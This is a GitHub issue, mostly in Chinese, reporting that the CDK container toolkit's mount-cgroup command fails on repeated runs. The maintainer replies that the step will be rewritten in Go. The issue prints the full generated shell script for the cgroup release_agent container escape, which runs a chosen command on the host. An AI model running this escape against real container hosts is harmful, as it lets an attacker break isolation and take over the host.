Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

mount-cgroup无法多次执行命令 #35

Closed
ghost opened this issue Feb 12, 2022 · 1 comment · Fixed by #40
Closed

mount-cgroup无法多次执行命令 #35

ghost opened this issue Feb 12, 2022 · 1 comment · Fixed by #40

Comments

@ghost
Copy link

ghost commented Feb 12, 2022

请详细描述你遇到的问题 (Please describe the issue in detail)

mount-cgroup无法多次执行命令

root@0a8d085e98bf:/cdk# ./cdk_linux_amd64 run mount-cgroup "whoami"
2022/01/25 02:17:56 user-defined shell payload is whoami
2022/01/25 02:17:56 generate shell exploit with user-input cmd:

whoami

#!/bin/sh
mkdir -p /tmp/cgrp; mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir -p /tmp/cgrp/cdk_oeq
echo 1 > /tmp/cgrp/cdk_oeq/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd_oeq" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd_oeq
echo "whoami > $host_path/output_oeq" >> /cmd_oeq
chmod a+x /cmd_oeq
sh -c "echo \$\$ > /tmp/cgrp/cdk_oeq/cgroup.procs"
sleep 3
cat /output_oeq

2022/01/25 02:17:56 shell script saved to exploit_oeq.sh
2022/01/25 02:17:59 Execute Shell:./exploit_oeq.sh . failed:
exit status 1

附加信息(Additional Information)

1、根据分析发现,生成的payload脚本中

mkdir -p /tmp/cgrp; mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir -p /tmp/cgrp/cdk_oeq

由于mount在第一次已经挂载导致命令执行异常 从而影响mkdir -p /tmp/cgrp/cdk_oeq命令的执行

需要修改&&命令连接符 以解决该问题

@neargle
Copy link
Member

neargle commented Feb 13, 2022

这里应该能全部调整为纯golang实现,我加个TODO。

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging a pull request may close this issue.

1 participant